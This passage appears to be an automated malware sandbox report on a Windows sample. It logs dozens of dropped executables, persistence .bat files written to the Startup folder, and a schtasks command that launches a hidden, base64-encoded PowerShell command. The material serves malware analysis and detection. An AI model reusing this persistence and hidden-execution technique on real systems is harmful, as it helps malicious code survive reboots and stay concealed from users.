            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\0NiGzKSTtDzAUZOkgD66xsNo.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\jjBbyETsrLuQI8Jbex8HWhsj.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\rSTe50KCC8r8EbtF86ijRMYC.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\rCKApTO5apcF0CWhs5J6G9uw.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\softokn3[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\LuhjrDkHbg5EV9gJjZgRzNRC.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\jHK91yJ3AAbdMiBNHu82OP1N.exeJump to dropped file
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211413039667704.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\zuTkcDdNQ6MkLeAs0lGPxvRR.exeJump to dropped file
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412517277356.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\pQ6uZvesO0d4NLicCWC7lXTs.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\SpYVqZtUE8xSk6PWbKVpMU9E.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\oImNnZUwq_S8lQXQ3JQ8PWfa.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\PG0i0imJz19jFNp7ko6pIPRA.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\OeIzFpPQv96lBLRJ074Q8fw6.exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151231039.log
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151237920.log
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151300960.log
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151306388.log

            Boot Survival

            barindex
            Drops script or batch files to the startup folder
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BDrGDlTifOLZNiBUheyxYQtf.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IytYR3GaQ4RFrbtAYXGTLQtf.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cic3atRc7HSpHHcbjylG6maa.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eAUqpjxpbFDLZaZ1AQVOgtKP.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ElrigHO2FOmeuoC12a7pqHAf.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PABqbTMgez7HPLFgfI7iEGKK.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Kkzr4mGHkQP8vGs5ZY8tXyMX.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\18MDOkFiY6RdLnWW80t2YsVS.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EygRHTeIn4ytbQctqBrMquUw.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\huuoI3mgyMLYKjTLIuAXQWar.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zeOfkDDOQWsuppdm74AXgsYG.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\L5TEYLaQFPYWqJgYXoDmRWNi.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uoKc3jku73co21M6XP2XzBRm.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\z5DD5HpkX1Fb1WMRS4timOqh.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pDDy4C7ODvZ435lhBIaTACmF.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C9Hw9d8EA13BUssagnw4SgFG.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pAREVsdPZxbAcdElaNfgA9u9.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0JbGAE3KWGgTpIlSSHYLLbge.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TLgdyWgnb7EJQJfbIypXhtcL.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XTYZUGwZm67eusiXt60bjnqI.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RXXz6AwumQHorbsNNmZw4Pww.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kEBolTmB6JUkmTcImCo9ZSC6.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BwXwSVZ6Bpyqj9zWj5xtHD5n.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\24rGNt7xruGwxynNphkn310O.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mBxCGAyk3eKGc4MZLyYxeLOy.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vDK8Bjmbw8F7jtFi7BU7EIjV.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdRu2tx6AXdnZcn7C2ODMWN7.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GB2b4OJnWSzsNtUT1nZRgmw1.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SIKVPo862RPOlBMaWJXbLGPP.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5QDpHdUdPGqfrvwvPMstJLuM.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2MEjFMZug16QWjxKckULCLHU.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jWFEGUWi14gR1AWFpLYSOhTH.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3XGozpYaJZRrKXHyg56y1gn3.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SYMjdo3T2nSbnrOG6PatZCjh.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zZ9jOiBMLvJKs94l3cO5LDjk.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ko575jpDDsNgcbo2IqHs6mp6.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y87U0VRLdseZNHdoAA2kzQqw.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\koaSsTsT2PMDFnZOK5S6wqpH.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pV7bNqhswqirJjyAS8jsaYbX.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pnqpJHJE2BLMcX2uUHb5y3NC.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4v3zAm9R6NxAyWSDdrEyRjzv.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I1Yy5iZU6IPX6zyfA19jJov5.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1huP7mnhhz1BBpC7Bieke4SE.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\D7FXOCqUp7wquexSy2TvNclL.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zc1Hpjg06kEPCxYidXtEteEN.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kjutPwsIKLqBhucfBslkDjha.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rEEjiqeukO2VRDjzOoMgF5Q1.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CAvIV9KXqIbkAjzNox8lXuKB.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LtFnqAp3vyKFpGtqe42Vqai7.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TDQQApkr2dU5GmHw4L6zCiF1.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ojtScMFaD01HvY9V5pRywyo4.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PenbNlY4v1Vx62WE0q81zcDp.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xUwcy6wbvWLGo9dph4cGTShV.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\baSSXz9sAE0QHo2h7YMHDYBf.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vekKtIb4HbI5SpYmoZ3cGvXG.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\83TGfv1Q8Lh4D7c36336nVkD.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3fqgNhMYYgFvw2BYJwts0px.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MQZXOAxlVcqy3RceiFUn5ftC.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cV1tlOprRXahIPEmfiEzl2VK.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qWXpKBmjAr0pZUqYzGRLsjpF.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I5UVn2ElA1TC7bAAmh5QM3ft.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\O46ClWDJJ0ChccNYUTHhX6rG.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DCiIx4VC3BFIDXCPws8D583o.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TesNDksP9JpUl8dcPzgHr5lv.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Uomg7UlX27UwbG3UUxP7ZMNG.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LUsq7upEG2iiN4NxycmpIBDM.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9DzcdBj68Lp4dGPdGwvZEsfD.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xzk1C1rQiwgJE4mEfBRZiYfJ.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\y2xUHCgSGKPsCWSBr4ueFeFq.batJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2jNh70feoWdNeZn43S0Jdfru.batJump to dropped file
            Uses schtasks.exe or at.exe to add and modify task schedules
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PABqbTMgez7HPLFgfI7iEGKK.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zeOfkDDOQWsuppdm74AXgsYG.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C9Hw9d8EA13BUssagnw4SgFG.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pAREVsdPZxbAcdElaNfgA9u9.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdRu2tx6AXdnZcn7C2ODMWN7.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GB2b4OJnWSzsNtUT1nZRgmw1.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3XGozpYaJZRrKXHyg56y1gn3.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SYMjdo3T2nSbnrOG6PatZCjh.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zZ9jOiBMLvJKs94l3cO5LDjk.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4v3zAm9R6NxAyWSDdrEyRjzv.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I1Yy5iZU6IPX6zyfA19jJov5.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1huP7mnhhz1BBpC7Bieke4SE.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CAvIV9KXqIbkAjzNox8lXuKB.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LtFnqAp3vyKFpGtqe42Vqai7.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TDQQApkr2dU5GmHw4L6zCiF1.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\baSSXz9sAE0QHo2h7YMHDYBf.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BDrGDlTifOLZNiBUheyxYQtf.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eAUqpjxpbFDLZaZ1AQVOgtKP.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Kkzr4mGHkQP8vGs5ZY8tXyMX.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\huuoI3mgyMLYKjTLIuAXQWar.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\z5DD5HpkX1Fb1WMRS4timOqh.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pDDy4C7ODvZ435lhBIaTACmF.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TLgdyWgnb7EJQJfbIypXhtcL.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BwXwSVZ6Bpyqj9zWj5xtHD5n.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\24rGNt7xruGwxynNphkn310O.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SIKVPo862RPOlBMaWJXbLGPP.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y87U0VRLdseZNHdoAA2kzQqw.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pV7bNqhswqirJjyAS8jsaYbX.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\D7FXOCqUp7wquexSy2TvNclL.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zc1Hpjg06kEPCxYidXtEteEN.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kjutPwsIKLqBhucfBslkDjha.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ojtScMFaD01HvY9V5pRywyo4.batJump to behavior
